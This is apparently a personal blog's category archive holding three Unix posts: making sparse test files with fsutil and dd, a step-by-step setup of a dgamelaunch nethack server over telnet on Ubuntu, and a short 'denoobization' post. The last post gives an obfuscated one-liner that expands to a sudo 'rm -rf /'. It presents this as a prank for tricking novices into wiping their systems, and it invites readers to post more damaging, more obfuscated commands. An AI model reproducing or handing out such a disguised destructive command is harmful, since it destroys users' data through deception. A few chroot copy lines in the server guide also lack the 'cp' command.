Archive for the ‘unix’ Category

Create Arbitrary Sized Sparse Files under Windows and Linux

Thursday, September 25th, 2008

Apparently there is something to be said about short blog posts. Allegedly I tend to get long winded sometimes and my posts can run a tad verbose sometimes. I usually tell people to STFU and go read Steve Yegge if they want to see verbose. I’m short, concise and to the point compared to him. But I figured that I’ll try some of that short blog post thing that people seem to be enjoying in other parts of the web. So I’m making a post about a silly little windows command. This is so that I don’t forget it about it next time I need it.

Have you ever needed a file of specific size to test something but you didn’t care what that file was? You know, just a space holder or a space filler kind of a thing? This is what you need to do to create one on Windows XP:

fsutil file createnew file.ext 10000

Naturally file.ext is the desired name of the file you want to create, and the numeric argument is the desired size in bytes. Note that fsutil creates a sparse file which means that this operation will be blindingly fast. For example it took about 3 seconds to create a 10GB file on my elderly windows machine.

Useful trick. I sometimes use it to see how a given app will act when it encounters a file of certain size. To accomplish the same thing in linux you apparently need to do something like:

dd if=/dev/zero of=my-file bs=1 count=0 seek=10G

I messed around with it, and the bs and count are important so don’t just skip them. The seek attribute specifies the desired size of your file, and here you can use human readable units (like 10Gb in the example).

So if you ever need a file of a specific size to test something, here is how you make one. How is that for a short post? What do you mean 350 words is not short? Ah, go to hell then. I tried. Next post will be verbose again. ;)

Setting Up a Private Nethack Server on Ubuntu Lite

Saturday, November 17th, 2007

We already established that terminally incoherent readers love them some nethack. The nice thing about nethack is that it takes only few hundred kb on your drive, and provides you with endless tons of entertainment. But hell, you don’t even need to install it. All you need to taste the nethack goodness is telnet.

There are several public nethack servers that let you play via telnet. The biggest and most popular one is located at alt.org. Or at least they are the one that shows up on Google results first. You simply telnet in, create an account and play online. This is such an awesome concept that I decided I need some of that. I want my own public server! This would be a perfect new role for that funky old Compaq Presario sitting under my desk and currently running Ubuntulite. So I started digging around for a solution.

And I hit a brick wall because the documentation for this kind of stuff is scant and/or nonexistent. Nevertheless I persevered and you can see the end effect at luke.kicks-ass.org. Sorry for the dyndns domain name, but this is a temporary sort of a thing. For now you can simply telnet in and play. I will probably keep the machine running over the weekend unless you guys manage to crash it. ;)

Note: Use PuTTY or some real terminal client. The windows cmd.exe messes up the menu layout pretty badly. But I’m not sure if there’s anything I can do about it.

Once again, if you want to try out the server, just do:

telnet luke.kicks-ass.org

It’s running on port 23, and it should log you in automatically. From there you need to (r)egister an account. I don’t use the emails for anything, so when asked just type in anything as long as it has an email syntax. There is no email activation or any of that shit. Username and password are up to you. Just remember that this is telnet – so your password will be sent in plain text. Make up some silly one that you won’t be using elsewhere and you won’t cry when you lose it. When you are done it should dump you back at the initial prompt. There you can either (l)og in to play or (w)atch someone else play. Chances are no one is playing yet so log in.

On the next screen you will see bunch of options. Note that I left the nethack config files in bare bones state. You will probably want to use the “o” option to edit your options file to include the number_pad:2 bit that makes movement little easier for people who don’t like HJKL. The editor that ships with dgamelaunch is a vim clode so just fucking deal with it. Move down to one of the uncommented OPTIONS lines add number_pad:2 at the end, press Esc, then :wq and you should be back at the prompt. ;) Now all that is left is to (p)lay.

Let me know how the server works for you. It may be a bit slow (the box is a very old laptop siting on an asymetric residential connection) but then again, this is nethack. You don’t really need rapid speed here. If you like it I might try to figure out a way to make this a permanent fixture of the site. :)

Here is a screenshot of me playing from my winXP box via PuTTY by telneting to luke.kicks-ass.org:

Playing Nethack on the New Server

What follows below is the lengthy account of the issues I encountered while setting up this damn thing. If you don’t care about installation details, just skip down to comments.

So, how do you run a public nethack server? First you need the server software. Most servers out there use DGameLaunch which works, but is a major pain in the ass to use. It’s not in the repositories so you will need to download it from the website, compile and configure it yourself. And let me tell you it’s not a picnic. First, you will need to download few dependencies. You will need ncurses development headers, a telnet server and two lexical analyzers flex and bison. You also, obviously need gcc and make to compile the code. And naturally, nethack. You may already have these things on your system – my bare bones install of Ubuntulite didn’t. Just in case run the following:

aptitude install libncurses5-dev bison flex telnetd gcc make nethack-console

Allright, now we can get the server software and compile it:

wget ftp://ftp.alt.org/pub/dgamelaunch/dgamelaunch-1.4.6.tar.gz
tar -xzvf dgamelaunch-1.4.6.tar.gz
cd dgamelaunch-1.4.6/
./configure
make
sudo make install

Have fun. I know I did, because the only documentation that ships with dgamelaunch is a 6 Kb README file. Out of the 117 lines of text it contains, maybe 3 or for actually mention compilation and dependencies. This means that you need to pay close attention to the output of make. Funny thing is that the configure script noticed that I don’t have bison/yacc or flex/lex but did not consider that a stop condition and gleefully generated a makefile. Of course without these apps make would die a horrible death in a flurry of semi-random error message. Same goes for the ncurses header files – it knew it was missing, but did nothing. Thanks!

By default, dgamelaunch will get installed into /usr/local/. Once you compile it you need to do two things. First copy the dgamelaunch.conf from the examples folder to your /etc:

sudo cp examples/dgamelaunch.conf /etc/

Next you want to create chroot jail in which the server will be running. There is a script that does that which ships with dgamelaunch. Simply run it and you should be all set:

sudo ./dgl-create-chroot

It should create /var/lib/dgamelaunch directory and dump bunch of files in there. In my case the script failed to do all the work so I had to do few things manually. Most of this I figured out by trial and error because the README file only gives you cryptic hints on what to do if things go sour.

For example, the script keeled over trying to copy appropriate libs to the chroot directory. It kept failing with an error message pointing out that it can’t find some file, but instead of printing out the file name it would print out a hex value (memory address?). I looked at the script and noticed this was the very last few lines. It also had some small comment which suggested which libraries will probably get imported.

I manually copied all the listed file from /lib/ to /var/lib/dgamelaunch/lib/ then tried to run the binary. It kept failing telling me about other missing files. After 3 or 4 tries I got the full complement of needed libraries. If this happens to you, here is what you should do:

sudo mkdir /var/lib/dgamelaunch/lib/
sudo cp /lib/ld-linux.so.2 /var/lib/dgamelaunch/lib/
sudo cp /lib/libc.so.6 /var/lib/dgamelaunch/lib/
sudo /lib/libdl.so.6 /var/lib/dgamelaunch/lib/
sudo /lib/libdl.so.2 /var/lib/dgamelaunch/lib/
sudo /lib/libncurses.so.5 /var/lib/dgamelaunch/lib/

I also needed to populate /var/lib/dgamelaunch/etc/terminfo with files from /lib/terminfo. For some reason the terminal descriptions were not copied over to this location by the chroot script. I’m not sure this was intended behavior or just a glitch. If you are having problems running the game or the server interface take a peek in this folder. If it’s empty do the following:

sudo cp /lib/terminfo/* /var/lib/dgamelaunch/etc/terminfo/

Btw, when you are testing you need to run dgamelaunch with sudo. This is actually a small tidbit of knowledge that is outlined in the README file. Once you can run the app, register and account, edit the option file, and play few rounds of the game, you can move on to the next stage.

Now all we need to do is set up a telnet server so that people can connect and play. Of course This is the one place where the readme actually does offer you some help. Make sure telnetd is installed, and simply copy and paste the following file into your /etc/inetd.conf:

telnet stream tcp nowait root.root /usr/sbin/tcpd /usr/sbin/in.telnetd -h -L /usr/sbin/dgamelaunch -q -f /etc/dgamelaunch.conf

This may or may not work for you. It work for me. The -L option telnetd in feisty is retarded and doesn’t allow you to use any command line parameters to the shell you are specifying with it. The README file actually mentions that near the bottom. It also mentions that you can use an abridged version of this line:

telnet stream tcp nowait root.root /usr/sbin/tcpd /usr/sbin/in.telnetd -h -L /usr/sbin/dgamelaunch

If you do however it is important to make sure your dgamelaunch.conf is in the root of the /etc directory. If you plan place it in a subdirectory, you have to change the make file before you compile it. Check the README file for hints on how to do this.

After you change the inetd.conf file you want to restart the inetd server. There are several ways to do this, but a simple way that will work on just about any platform is:

killall -HUP inetd

This kills the process and forces it to restart and re-read it’s config file. It’s a tad brutal way to do it so don’t use it on a shared machine or one that is actually handling some critical data. What the hell are do doing installing nethack server on a critical server anyway?

If you do all of the above, you should have a working dgamelaunch installation, and a working telnet server. Just telnet in, and play. :) Id not, post in the comments and we can maybe figure out what is going on together.

tldr: dgamelaunch documentation sucks balls, but setting up the server is doable

The Denoobization Script

Thursday, November 15th, 2007

Here is my favorite bash script which can be used to teach noobs about bash syntax, man pages and the importance of backup at the same time:

s="r"; d="$s"m; f="$s"f; sudo $($d -$f /)

If not on Ubuntu, just get rid of sudo and tell people to run it as root. Oh, and if you copied and pasted this into your terminal to try what it does, I hope you backed up recently. I’m guessing it probably won’t delete everything (there would be some access violations and stuff) but it will probably do enough damage for you to hate me for the rest of your life.

Oh, and it won’t work on Solaris 10. I guess someone at Sun fell for some incarnation of this very trick at some point. :P

Btw, has anyone ever killed a system this way? What is the most damage you ever did to a linux system by issuing a reckless command as root?

Also, can you beat my denoobization script? Time to show your true BOFH skills. Points will be given for the magnitude of damage it causes, obfuscation and brevity. Btw, you should be able to copy and paste it into the terminal as a single line.